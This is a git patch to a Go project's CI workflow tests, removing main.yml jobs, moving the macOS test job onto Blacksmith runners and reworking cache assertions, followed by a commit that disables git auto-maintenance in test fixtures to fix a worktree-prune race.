jobTimeoutMinutes { @@ -1045,11 +1050,7 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { // default is what made this leg flaky). It sits on the invocation // rather than in matrix.test-flags, so editing the matrix cannot // silently drop it. - mainTestCommand = "go test -tags gms_pure_go ${{ matrix.test-flags }} -timeout=30m -skip '^TestEmbedded' ./..." - // The macOS leg is the only consumer of main.yml's matrix test-flags - // (the ubuntu leg's coverage step hardcodes its own). The deadline is - // deliberately NOT here — see mainTestCommand. - mainMacOSTestFlags = "-v -race -short" + mainTestCommand = "go test -tags gms_pure_go -v -race -short -timeout=30m -skip '^TestEmbedded' ./..." ) workflows := map[string]ciWorkflow{ @@ -1060,7 +1061,7 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { // pr.yml's own "test-macos" job (a full-suite pre-merge race against // main.yml's macOS leg, run on every PR to catch macOS-only regressions // before merge) was removed under the F4 rollout: main.yml's - // push-triggered macOS leg below is now the only lane that ever runs + // push-triggered macOS job below is now the only lane that ever runs // this suite on macOS, so no PR run exercises it pre-merge any more. // Nothing in pr.yml should carry the workspace bd binary override // checked in the loop below. @@ -1068,19 +1069,10 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { assertStepRunsExactly(t, mainTest, "Build", buildCommand) assertStepRunsExactly(t, mainTest, "Test", mainTestCommand) assertStepsBefore(t, mainTest, []string{"Build"}, []string{"Test"}) - if got := mainTest.step(t, "Build").If; got != "matrix.os != 'ubuntu-latest'" { - t.Errorf("main build condition = %q, want macOS-only condition", got) - } - if got := mainTest.step(t, "Test").If; got != "${{ !matrix.coverage }}" { - t.Errorf("main test condition = %q, want non-coverage condition", got) - } - if got := mainTest.Strategy.Matrix.OS; !equalStrings(got, []string{"ubuntu-latest", macOSRunner}) { - t.Errorf("main test matrix os = %v, want [ubuntu-latest %s]", got, macOSRunner) - } - if got := mainTest.Strategy.Matrix.Include; len(got) != 2 || - got[0].OS != "ubuntu-latest" || !got[0].Coverage || - got[1].OS != macOSRunner || got[1].Coverage || got[1].TestFlags != mainMacOSTestFlags { - t.Errorf("main test matrix include = %+v, want macOS non-coverage entry with %s", got, mainMacOSTestFlags) + for _, name := range []string{"Build", "Test"} { + if got := mainTest.step(t, name).If; got != "" { + t.Errorf("main %s condition = %q, want unconditional (the job is macOS only)", name, got) + } } assertStepEnvValue(t, mainTest, "Test", "BEADS_TEST_BD_BINARY", workspaceBDBinary) @@ -1097,10 +1089,10 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { } // TestDoltTestcontainerStepsDisableRyuk pins TESTCONTAINERS_RYUK_DISABLED on -// the four steps enumerated in the table below — the two Dolt-backed steps of -// the test-domain-uow job, in pr.yml and main.yml. It is an allow-list of +// the steps enumerated in the table below — the two Dolt-backed steps of +// pr.yml's test-domain-uow job. It is an allow-list of // literal (workflow, job, step) triples, so it catches an un-pinning -// regression on those four steps only; it does not detect the class, and a +// regression on those steps only; it does not detect the class, and a // newly added container-starting step passes it unpinned. // // Why the pin: testcontainers-go shares one Ryuk reaper per host; when a step @@ -1120,7 +1112,7 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { // job pre-caches the image via scripts/ci/pull-dolt-image.sh: checkDolt in // internal/testutil gates on `docker image inspect` and never auto-pulls. The // other jobs that do pull it are pr.yml/contract-corpus, -// main.yml/test-proxied-cmd, pr-risk.yml/test-proxied-cmd, +// pr-risk.yml/test-proxied-cmd, // pr-risk.yml/test-server-storage and -full, regression.yml/regression, and // bazel.yml's --config=docker lane. They are out of scope for this change, not // immune: no reap has been attributed to them, and the docker lane would @@ -1130,7 +1122,7 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { // walks every job and step — is follow-up work on be-2on. // // Steps that run under BEADS_TEST_SKIP=dolt (pr-core.sh's hermetic wrapper, -// the sharded main-linux-integration-* jobs) never start a container at all +// nightly.yml's full-test) never start a container at all // and are correctly excluded: internal/testutil's readiness check treats // BEADS_TEST_SKIP=dolt as an explicit opt-out before it ever reaches Docker. func TestDoltTestcontainerStepsDisableRyuk(t *testing.T) { @@ -1143,8 +1135,6 @@ func TestDoltTestcontainerStepsDisableRyuk(t *testing.T) { steps := []doltContainerStep{ {"pr.yml", "test-domain-uow", "Test domain + uow + tracker"}, {"pr.yml", "test-domain-uow", "Test doctor/fix (Dolt-backed, hard-require container)"}, - {"main.yml", "test-domain-uow", "Test domain + uow + tracker"}, - {"main.yml", "test-domain-uow", "Test doctor/fix (Dolt-backed, hard-require container)"}, } for _, tc := range steps { @@ -1339,15 +1329,11 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["main.yml"].job(t, "build-artifacts"), []goCacheStep{ mainRestoreModuleCache(), mainRestoreBuildCache("non-race"), saveModuleCache(), saveBuildCache("non-race"), }) - assertGoCacheInventory(t, workflows["main.yml"].job(t, "build-embedded"), []goCacheStep{ - mainRestoreModuleCache(), mainRestoreBuildCache("race"), saveBuildCache("race"), - }) - assertGoCacheInventory(t, workflows["main.yml"].job(t, "pr-core-wrapper"), []goCacheStep{ - mainRestoreModuleCache(), mainRestoreBuildCache("race"), - }) + // Blacksmith macOS: restores what blacksmith-macos-go-build-cache's + // Blacksmith leg saves and owns only its race cache (day-bucketed, S7). assertGoCacheInventory(t, workflows["main.yml"].job(t, "test"), []goCacheStep{ - mainRestoreModuleCache(), mainRestoreBuildCacheIf("non-race", macOSMatrixCondition), mainRestoreBuildCache("race"), - saveModuleCacheAfterFailureOnMacOS(), saveBuildCacheAfterFailureOnMacOS("non-race"), saveBuildCacheAfterFailureOnMacOS("race"), + mainRestoreModuleCache(), mainRestoreBuildCacheDayBucketedIf("non-race", ""), mainRestoreBuildCacheDayBucketedIf("race", ""), + saveBuildCacheDayBucketedAfterFailureIf("race", ""), }) assertGoCacheInventory(t, workflows["main.yml"].job(t, "test-windows"), []goCacheStep{ mainRestoreModuleCache(), mainRestoreBuildCacheDayBucketedIf("non-race", ""), saveModuleCache(), saveBuildCacheDayBucketed("non-race"), @@ -1358,17 +1344,16 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["main.yml"].job(t, "go-vet-cache"), []goCacheStep{ mainRestoreModuleCache(), mainRestoreVetCache(), saveVetCache(), }) - assertConditionalCacheWritersHaveMatrixMember(t, workflows["main.yml"].job(t, "test"), macOSRunner) // F4.7: seeds the module and xcompile caches pr.yml's windows-test-binaries // job only restores (PR workflows never save). assertGoCacheInventory(t, workflows["main.yml"].job(t, "windows-test-binaries-cache"), []goCacheStep{ mainRestoreModuleCache(), mainRestoreXCompileCache(), saveModuleCacheAfterFailure(), saveXCompileCache(), }) - // F7b: Blacksmith-only analogue of build-artifacts'/build-embedded's - // race/non-race GOCACHE saves, for same-repo PR consumers + // F7b: race/non-race GOCACHE saves for same-repo PR consumers // (scripts-go-checks, pr-preflight-platforms, check-doc-freshness-platforms) - // that now run on Blacksmith, whose cache namespace is invisible to - // GitHub-hosted build-artifacts/build-embedded. + // that run on Blacksmith, whose cache namespace is invisible to + // GitHub-hosted build-artifacts; its github venue leg seeds the fork + // path's race cache (build-artifacts seeds its non-race one). assertGoCacheInventory(t, workflows["main.yml"].job(t, "blacksmith-go-build-cache"), []goCacheStep{ mainRestoreModuleCache(), mainRestoreBuildCacheDayBucketedIf("race", "matrix.flavor == 'race'"), @@ -1376,9 +1361,9 @@ func TestGoCacheOwnershipTopology(t *testing.T) { saveBuildCacheDayBucketedAfterFailureIf("race", "matrix.flavor == 'race'"), saveBuildCacheDayBucketedAfterFailureIf("non-race", "matrix.flavor == 'non-race'"), }) - // Blacksmith macOS analogue for pr-preflight-platforms'/ - // check-doc-freshness-platforms' same-repo macOS legs (the `test` job's - // GitHub-hosted macOS leg keeps seeding their fork path). + // macOS saver for pr-preflight-platforms'/check-doc-freshness-platforms' + // macOS legs: its blacksmith venue leg seeds the same-repo path (and the + // `test` job), its github leg the fork path. assertGoCacheInventory(t, workflows["main.yml"].job(t, "blacksmith-macos-go-build-cache"), []goCacheStep{ mainRestoreModuleCache(), mainRestoreBuildCacheDayBucketedIf("non-race", ""), @@ -1443,7 +1428,7 @@ func TestGoCacheOwnershipTopology(t *testing.T) { }) assertNoUnmanagedGoCacheSteps(t, workflows, map[string]map[string]bool{ "main.yml": { - "build-artifacts": true, "build-embedded": true, "pr-core-wrapper": true, "test": true, "test-windows": true, + "build-artifacts": true, "test": true, "test-windows": true, "pr-lint-wrapper": true, "go-vet-cache": true, "windows-test-binaries-cache": true, "blacksmith-go-build-cache": true, "blacksmith-macos-go-build-cache": true, // F7c: blacksmith-setup-go-cache's own restore/save pair seeds the @@ -1468,19 +1453,12 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertStepsBefore(t, mainArtifacts, []string{"Restore Go module cache", "Restore non-race Go build cache"}, []string{"Build reusable Linux artifacts"}) assertStepsBefore(t, mainArtifacts, []string{"Build reusable Linux artifacts", "Upload build artifacts"}, []string{"Save Go module cache", "Save non-race Go build cache"}) - mainEmbedded := workflows["main.yml"].job(t, "build-embedded") embeddedRaceBuilds := []string{"Build embedded bd binary", "Build embedded storage test binary", "Build embedded cmd test binary"} - assertStepsBefore(t, mainEmbedded, []string{"Restore Go module cache", "Restore race Go build cache"}, embeddedRaceBuilds) - assertStepsBefore(t, mainEmbedded, append(embeddedRaceBuilds, "Upload binaries"), []string{"Save race Go build cache"}) - assertStepsBefore(t, workflows["main.yml"].job(t, "pr-core-wrapper"), - []string{"Restore Go module cache", "Restore race Go build cache"}, []string{"Run PR core wrapper"}) mainTest := workflows["main.yml"].job(t, "test") - assertStepsBefore(t, mainTest, []string{"Restore Go module cache"}, []string{"Install gotestsum", "Build", "Test (with coverage + JUnit XML)", "Test"}) + assertStepsBefore(t, mainTest, []string{"Restore Go module cache"}, []string{"Build", "Test"}) assertStepsBefore(t, mainTest, []string{"Restore non-race Go build cache"}, []string{"Build"}) - assertStepsBefore(t, mainTest, []string{"Restore race Go build cache"}, []string{"Test (with coverage + JUnit XML)", "Test"}) - assertStepsBefore(t, mainTest, []string{"Build", "Test"}, []string{"Save Go module cache"}) - assertStepsBefore(t, mainTest, []string{"Build"}, []string{"Save non-race Go build cache"}) + assertStepsBefore(t, mainTest, []string{"Restore race Go build cache"}, []string{"Test"}) assertStepsBefore(t, mainTest, []string{"Test"}, []string{"Save race Go build cache"}) mainWindows := workflows["main.yml"].job(t, "test-windows") @@ -1517,11 +1495,7 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertStepsBefore(t, prRiskEmbedded, []string{"Restore non-race Go build cache"}, prRiskNonRaceBuilds) assertGoCacheEnv(t, workflows["main.yml"].job(t, "build-artifacts"), "Build reusable Linux artifacts", "non-race") - for _, stepName := range []string{"Build embedded bd binary", "Build embedded storage test binary", "Build embedded cmd test binary"} { - assertGoCacheEnv(t, workflows["main.yml"].job(t, "build-embedded"), stepName, "race") - } assertGoCacheEnv(t, workflows["main.yml"].job(t, "test"), "Build", "non-race") - assertGoCacheEnv(t, workflows["main.yml"].job(t, "test"), "Test (with coverage + JUnit XML)", "race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "test"), "Test", "race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "test-windows"), "Build (pure Go regex)", "non-race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "windows-test-binaries-cache"), "Build Windows test binaries", xcompileCacheProfile()) @@ -1548,10 +1522,7 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheWriter(t, workflows["main.yml"], "build-artifacts", "ubuntu-latest", "Save Go module cache", cacheMissCondition(goModuleCacheRestoreID)) assertGoCacheWriter(t, workflows["main.yml"], "build-artifacts", "ubuntu-latest", "Save non-race Go build cache", cacheMissCondition(goBuildCacheRestoreID("non-race"))) - assertGoCacheWriter(t, workflows["main.yml"], "build-embedded", "ubuntu-latest", "Save race Go build cache", cacheMissCondition(goBuildCacheRestoreID("race"))) - assertGoCacheWriter(t, workflows["main.yml"], "test", "${{ matrix.os }}", "Save Go module cache", failureSurvivingCacheSaveCondition(macOSMatrixCondition, cacheMissCondition(goModuleCacheRestoreID))) - assertGoCacheWriter(t, workflows["main.yml"], "test", "${{ matrix.os }}", "Save non-race Go build cache", failureSurvivingCacheSaveCondition(macOSMatrixCondition, cacheMissCondition(goBuildCacheRestoreID("non-race")))) - assertGoCacheWriter(t, workflows["main.yml"], "test", "${{ matrix.os }}", "Save race Go build cache", failureSurvivingCacheSaveCondition(macOSMatrixCondition, cacheMissCondition(goBuildCacheRestoreID("race")))) + assertGoCacheWriter(t, workflows["main.yml"], "test", mainBlacksmithMacOSTestRunsOn, "Save race Go build cache", failureSurvivingCacheSaveCondition(cacheMissCondition(goBuildCacheRestoreID("race")))) assertGoCacheWriter(t, workflows["main.yml"], "test-windows", mainVenueBlacksmithWindows4vcpuRunsOn, "Save Go module cache", cacheMissCondition(goModuleCacheRestoreID)) assertGoCacheWriter(t, workflows["main.yml"], "test-windows", mainVenueBlacksmithWindows4vcpuRunsOn, "Save non-race Go build cache", cacheMissCondition(goBuildCacheRestoreID("non-race"))) assertGoCacheWriter(t, workflows["main.yml"], "pr-lint-wrapper", mainVenueBlacksmithUbuntu4vcpuRunsOn, "Save golangci-lint cache", failureSurvivingCacheSaveCondition(cacheMissCondition(golangciCacheRestoreID()))) @@ -1564,8 +1535,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheWriter(t, workflows["main.yml"], "windows-test-binaries-cache", mainWindowsTestBinariesCacheRunsOn, "Save Go build cache (Windows cross-compile)", saveXCompileCache().ifCondition) for _, target := range []struct{ workflow, job string }{ {"main.yml", "build-artifacts"}, - {"main.yml", "build-embedded"}, - {"main.yml", "pr-core-wrapper"}, {"main.yml", "test"}, {"main.yml", "test-windows"}, {"main.yml", "windows-test-binaries-cache"}, @@ -1809,7 +1778,6 @@ const ( goModuleCachePath = "~/go/pkg/mod" goModuleCacheRestoreID = "restore-go-module-cache" macOSRunner = "macos-latest" - macOSMatrixCondition = "matrix.os == '" + macOSRunner + "'" ) type goCacheStep struct { @@ -1925,14 +1893,8 @@ func saveModuleCacheIf(condition string) goCacheStep { return goCacheStep{name: "Save Go module cache", family: cacheSaveActionFamily, key: goModuleCacheKey(), path: goModuleCachePath, ifCondition: combineConditions(condition, cacheMissCondition(goModuleCacheRestoreID))} } -func saveModuleCacheAfterFailureOnMacOS() goCacheStep { - step := saveModuleCache() - step.ifCondition = failureSurvivingCacheSaveCondition(macOSMatrixCondition, cacheMissCondition(goModuleCacheRestoreID)) - return step -} - -// saveModuleCacheAfterFailure is saveModuleCacheAfterFailureOnMacOS without -// the matrix condition, for single-runner saver jobs (windows-test-binaries- +// saveModuleCacheAfterFailure is saveModuleCache with a failure-surviving +// condition, for single-runner saver jobs (windows-test-binaries- // cache) where a flaky mid-build step (e.g. the mingw apt-get install) // should not prevent the module cache fetched before it from being saved. func saveModuleCacheAfterFailure() goCacheStep { @@ -1965,14 +1927,8 @@ func saveBuildCacheIf(profile, condition string) goCacheStep { return goCacheStep{name: "Save " + profile + " Go build cache", family: cacheSaveActionFamily, key: goBuildCacheKey(profile), path: goBuildCachePath(profile), ifCondition: combineConditions(condition, cacheMissCondition(goBuildCacheRestoreID(profile)))} } -func saveBuildCacheAfterFailureOnMacOS(profile string) goCacheStep { - step := saveBuildCache(profile) - step.ifCondition = failureSurvivingCacheSaveCondition(macOSMatrixCondition, cacheMissCondition(goBuildCacheRestoreID(profile))) - return step -} - -// saveBuildCacheAfterFailureIf is saveBuildCacheAfterFailureOnMacOS -// parameterized on an arbitrary matrix condition, for main.yml's +// saveBuildCacheAfterFailureIf is saveBuildCache with a failure-surviving +// condition, optionally on an arbitrary matrix condition, for main.yml's // blacksmith-go-build-cache job (F7b), which gates its race/non-race saves on // matrix.flavor instead of matrix.os. func saveBuildCacheAfterFailureIf(profile, condition string) goCacheStep { @@ -2117,36 +2073,6 @@ func assertGoCacheInventory(t *testing.T, job ciWorkflowJob, want []goCacheStep) } } -func assertConditionalCacheWritersHaveMatrixMember(t *testing.T, job ciWorkflowJob, wantMember string) { - t.Helper() - - memberCount := 0 - for _, member := range job.Strategy.Matrix.OS { - if member == wantMember { - memberCount++ - } - } - if memberCount != 1 { - t.Errorf("strategy matrix os has %d concrete %q members, want exactly 1: %v", memberCount, wantMember, job.Strategy.Matrix.OS) - } - - conditionalWriters := 0 - wantCondition := "matrix.os == '" + wantMember + "'" - for _, step := range job.Steps { - if actionFamily(step.Uses) != cacheSaveActionFamily { - continue - } - if !strings.Contains(step.If, wantCondition) { - t.Errorf("cache writer %q condition %q does not target matrix member %q", step.Name, step.If, wantMember) - continue - } - conditionalWriters++ - } - if conditionalWriters == 0 { - t.Fatal("job has no conditional matrix cache writers") - } -} - func assertStepsBefore(t *testing.T, job ciWorkflowJob, before, after []string) { t.Helper() @@ -2808,17 +2734,19 @@ const mainWindowsTestBinariesCacheRunsOn = "${{ matrix.runner == 'blacksmith' && const sameRepoBlacksmith4vcpuNoble = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-24.04' }}" // F7b: venue-matrix runs-on for main.yml jobs that seed a Blacksmith GOCACHE -// alongside their existing GitHub-hosted seed ("venue: [blacksmith, github]"): -// pr-lint-wrapper, go-vet-cache, test-windows. blacksmith-go-build-cache needs -// no fork/github fallback leg (main.yml only runs on push to main), so its -// runs-on is a bare Blacksmith literal wrapped for actionlint, not a matrix. +// alongside their GitHub-hosted seed ("venue: [blacksmith, github]"): +// pr-lint-wrapper, go-vet-cache, test-windows, blacksmith-go-build-cache and +// blacksmith-macos-go-build-cache. const mainVenueBlacksmithUbuntu4vcpuRunsOn = "${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }}" const mainVenueBlacksmithWindows4vcpuRunsOn = "${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }}" -const mainBlacksmithGoBuildCacheRunsOn = "${{ 'blacksmith-4vcpu-ubuntu-2404' }}" +const mainBlacksmithGoBuildCacheRunsOn = mainVenueBlacksmithUbuntu4vcpuRunsOn -// main.yml's push-to-main-only Blacksmith macOS saver, on the exact label -// pr.yml's same-repo macOS legs resolve to (blacksmithMacOSLabel). -const mainBlacksmithMacOSGoBuildCacheRunsOn = "${{ '" + blacksmithMacOSLabel + "' }}" +// main.yml's push-to-main-only macOS saver, on the exact labels pr.yml's +// same-repo (blacksmithMacOSLabel) and fork (macOSRunner) macOS legs resolve to. +const mainBlacksmithMacOSGoBuildCacheRunsOn = "${{ matrix.venue == 'blacksmith' && '" + blacksmithMacOSLabel + "' || '" + macOSRunner + "' }}" + +// main.yml's push-to-main-only macOS test job, on Blacksmith macOS. +const mainBlacksmithMacOSTestRunsOn = "${{ '" + blacksmithMacOSLabel + "' }}" // pr.yml's call of bazel.yml: exactly these inputs (review D1 v2 N3). An rbe // override would put every PR in local mode and ungate the embedded tier @@ -3162,6 +3090,8 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { "blacksmith-go-build-cache": mainBlacksmithGoBuildCacheRunsOn, // Same guard, seeding pr.yml's same-repo macOS legs. "blacksmith-macos-go-build-cache": mainBlacksmithMacOSGoBuildCacheRunsOn, + // The macOS -race -short suite (Linux runs it under Bazel). + "test": mainBlacksmithMacOSTestRunsOn, }, } // The two required gates' display names are a stable external contract @@ -4907,8 +4837,7 @@ func assertBazelTierStep(t *testing.T, job ciWorkflowJob, jobName, config string } } -// The proxied-server tier (pr-risk.yml "Test (Proxied Dolt Cmd N/15)"; main.yml's -// twin runs the same shard script on a non-race binary) and the server-Dolt storage tier (pr-risk.yml "Test (Server Dolt +// The proxied-server tier (pr-risk.yml "Test (Proxied Dolt Cmd N/15)") and the server-Dolt storage tier (pr-risk.yml "Test (Server Dolt // Conformance)", "Test (Server Dolt Full Suite N/16)") as Bazel variants: // each manifest-sharded variant runs its jobs' shard script with their shard // total, the conformance variant the job's exact flags, with the jobs' race @@ -4965,16 +4894,6 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { t.Errorf("pr-risk.yml %q = %q, want %q", step, got, want) } } - // main.yml's twin proxied jobs run build-artifacts' bd-cmd-test, which - // is not race: bd_proxied_test (race, like PR Risk's) is the stricter of - // the two. Pinned so a change there is a decision, not drift. - mainYML := readCIWorkflow(t, "main.yml") - if run := mainYML.job(t, "build-artifacts").step(t, "Build reusable Linux artifacts").Run; !strings.Contains(run, `go test -tags gms_pure_go -c -o artifacts/bd-cmd-test ./cmd/bd`+"\n") { - t.Errorf("main.yml build-artifacts no longer builds the non-race bd-cmd-test this tier is documented against (.bazelrc, cmd/bd:bd_proxied_test):\n%s", run) - } - if got := mainYML.job(t, "test-proxied-cmd").step(t, "Test proxied-server cmd shard").Env["BEADS_TEST_CMD_BINARY"]; got != "${{ github.workspace }}/ci-build-artifacts/bd-cmd-test" { - t.Errorf("main.yml test-proxied-cmd BEADS_TEST_CMD_BINARY = %q, want build-artifacts' bd-cmd-test", got) - } // The server jobs' binary: integration-tagged (the lane's build tags) and // not race (dolt_race_off). m := regexp.MustCompile(`^go test -tags=(\S+) -c -o /tmp/dolt-conformance-test \./internal/storage/dolt/$`). @@ -4997,26 +4916,19 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { noBuildShardPin bool } tiers := []shardTier{ - // pr-risk.yml/main.yml's own "Test (Proxied Dolt Cmd N/15)" matrix + // pr-risk.yml's own "Test (Proxied Dolt Cmd N/15)" matrix // stays 15 (the legacy, frozen bd-init-cost-proxy manifest block), // but cmd/bd:bd_proxied_test's shard_count need not match: the // Bazel-only bazel-proxied job (bazel.yml) runs that target with its // own duration-balanced manifest block, not these jobs'. Shard k in // one split is not shard k in the other; see cmd/bd/BUILD.bazel's - // bd_proxied_test comment and bazel.yml's bazel-proxied comment. Both - // matrices are still required (below, after this loop) to equal each - // other and the legacy manifest block's total. + // bd_proxied_test comment and bazel.yml's bazel-proxied comment. {"pr-risk.yml", "test-proxied-cmd", "Test proxied-server cmd shard", ".github/scripts/proxied-test-shard.sh", "BEADS_TEST_CMD_BINARY", "cmd/bd", "bd_proxied_test", "BEADS_TEST_PROXIED_SERVER", true}, - {"main.yml", "test-proxied-cmd", "Test proxied-server cmd shard", ".github/scripts/proxied-test-shard.sh", "BEADS_TEST_CMD_BINARY", "cmd/bd", "bd_proxied_test", "BEADS_TEST_PROXIED_SERVER", true}, {"pr-risk.yml", "test-server-storage-full", "Test", ".github/scripts/server-storage-test-shard.sh", "BEADS_TEST_SERVER_TEST_BINARY", "internal/storage/dolt", "dolt_server_full_test", "BEADS_TEST_ENV_RUN_DOLT", false}, } - proxiedMatrixLen := map[string]int{} for _, c := range tiers { j := readCIWorkflow(t, c.workflow).job(t, c.job) shards := len(j.Strategy.Matrix.Shard) - if c.target == "bd_proxied_test" { - proxiedMatrixLen[c.workflow] = shards - } step := j.step(t, c.step) if want := "bash " + c.script + " ${{ matrix.shard }} " + strconv.Itoa(shards); strings.TrimSpace(step.Run) != want { t.Errorf("%s %s runs %q, want %q", c.workflow, c.job, step.Run, want) @@ -5055,14 +4967,6 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { } } } - // S1: pr-risk.yml's and main.yml's legacy test-proxied-cmd matrices must - // stay equal to each other (they share one frozen manifest block); a - // divergence must fail here even though cmd/bd:bd_proxied_test's own - // shard_count is no longer pinned to either of them (above). - if a, b := proxiedMatrixLen["pr-risk.yml"], proxiedMatrixLen["main.yml"]; a != b { - t.Errorf("pr-risk.yml test-proxied-cmd has %d shards, main.yml has %d; these share one legacy manifest block and must match", a, b) - } - conf := risk.job(t, "test-server-storage").step(t, "Test").Run quoted := regexp.MustCompile(`(-test\.[a-z]+) '([^']*)'|(-test\.[a-z]+=\S+|-test\.v)`) fields := strings.Fields(conf) diff --git a/scripts/pull_dolt_image_test.go b/scripts/pull_dolt_image_test.go index 4a6fe8afc..ff63d2c57 100644 --- a/scripts/pull_dolt_image_test.go +++ b/scripts/pull_dolt_image_test.go @@ -54,7 +54,6 @@ func TestPullDoltImageRetriesTransientFailures(t *testing.T) { func TestDoltImagePullWorkflowsUseRetryHelper(t *testing.T) { wantCalls := map[string]int{ - "main.yml": 2, "pr.yml": 3, // test-domain-uow, contract-corpus, test-dolt-server-fingerprint "pr-risk.yml": 3, "regression.yml": 1, From ec6074860511388ceedab35d070ccb40d9bef690 Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 6 Oct 2026 21:51:20 +0000 Subject: [PATCH 120/325] fix(test): keep fixture commits from starting the auto maintenance that prunes a new worktree (#7314) A fixture's "git commit" starts "git maintenance run --auto --detach" (builtin/commit.c run_auto_maintenance). Unscheduled maintenance runs the worktree-prune task, and should_prune_worktree removes an entry that has neither "locked" nor "gitdir" with no expiry check. "git worktree add" mkdirs .git/worktrees/, then writes "locked", then "gitdir", so a detached maintenance run reading .git/worktrees inside that window prunes the entry and the add dies with fatal: could not open '.git/worktrees/worktree/locked' for writing: No such file or directory Seen twice on Main's Test (ubuntu-latest), both on a fresh init + one commit + "git worktree add HEAD" inside the test's own t.TempDir: - 33507469201 attempt 1 (2026-09-01): internal/config TestInitialize_IgnoresWorktreeFallbackConfigWhenRequested - 37513420893 attempt 1 (2026-10-06, git 2.55.0, ubuntu-24.04 20260927.320.1): internal/beads TestResolveBeadsDirForRepoIgnoresInheritedRouting The second test unsets every git routing key and resets HOME before any git call, so no environment-level setting (GIT_CONFIG_COUNT, a global config) can reach its fixture: the setting has to ride on the fixture's own command line. Every fixture git command in internal/beads now goes through gitCommand, which prepends -c maintenance.auto=false -c gc.auto=0 (the gc.auto half covers git before 2.29, where commit ran gc --auto instead), and the internal/config fixture's closure does the same. Proof (git 2.55.0): GIT_TRACE over the two tests above at main shows 3 "maintenance run --auto --quiet --detach" spawns for 3 worktree adds; at this commit 0 spawns, the same 3 adds. An empty .git/worktrees/x is removed by "git maintenance run --auto"; with -c maintenance.auto=false a commit starts no maintenance. Co-authored-by: Claude Fable 5.1 --- .../beads/beads_inherited_artifacts_test.go | 16 +++++----- internal/beads/beads_test.go | 31 +++++++++++++------ internal/beads/context_test.go | 2 +- internal/beads/fingerprint_test.go | 6 ++-- internal/config/worktree_config_test.go | 5 ++- 5 files changed, 38 insertions(+), 22 deletions(-) diff --git a/internal/beads/beads_inherited_artifacts_test.go b/internal/beads/beads_inherited_artifacts_test.go index 0b43f4419..25ed6c873 100644 --- a/internal/beads/beads_inherited_artifacts_test.go +++ b/internal/beads/beads_inherited_artifacts_test.go @@ -44,7 +44,7 @@ func TestFindBeadsDir_WorktreeWithInheritedArtifacts(t *testing.T) { runGit := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { @@ -154,7 +154,7 @@ func TestFindBeadsDir_WorktreeSeparateDBPreservesLocal(t *testing.T) { runGit := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { @@ -258,7 +258,7 @@ func runWorktreeSeparateDBPreservedTest(t *testing.T, databaseMarker string) { runGit := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { @@ -356,7 +356,7 @@ func TestFindBeadsDir_WorktreeNoDatabaseAnywhereFallsBackToLocal(t *testing.T) { runGit := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { @@ -457,7 +457,7 @@ func TestFindDatabasePath_WorktreeServerModeSharesMainRepo(t *testing.T) { runGit := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { @@ -594,7 +594,7 @@ func TestFindBeadsDir_JJSecondaryWithInheritedArtifacts(t *testing.T) { // Set up git in the primary (so git rev-parse works from the secondary). runGit := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, gitErr := cmd.CombinedOutput() if gitErr != nil { @@ -717,7 +717,7 @@ func TestFindBeadsDir_JJSecondarySeparateDBPreservesLocal(t *testing.T) { } runGit := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, gitErr := cmd.CombinedOutput() if gitErr != nil { @@ -806,7 +806,7 @@ func TestFindDatabasePath_WorktreeServerModeFromSubdir(t *testing.T) { runGit := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { diff --git a/internal/beads/beads_test.go b/internal/beads/beads_test.go index 555ee0fc9..606e9a38d 100644 --- a/internal/beads/beads_test.go +++ b/internal/beads/beads_test.go @@ -872,10 +872,23 @@ func setupRegularWorktreeRepo(t *testing.T) (string, string) { return mainRepoDir, worktreeDir } +// noAutoMaintenance keeps a fixture's git commit from starting the detached +// "git maintenance run --auto" (gc --auto on git before 2.29). Its worktree-prune +// task removes a worktree admin dir that has neither gitdir nor locked yet, which +// is exactly the window between "git worktree add"'s mkdir and its locked write, +// so a later "git worktree add" in the same repo can die with "could not open +// .git/worktrees//locked for writing". Seen on ubuntu-latest with git 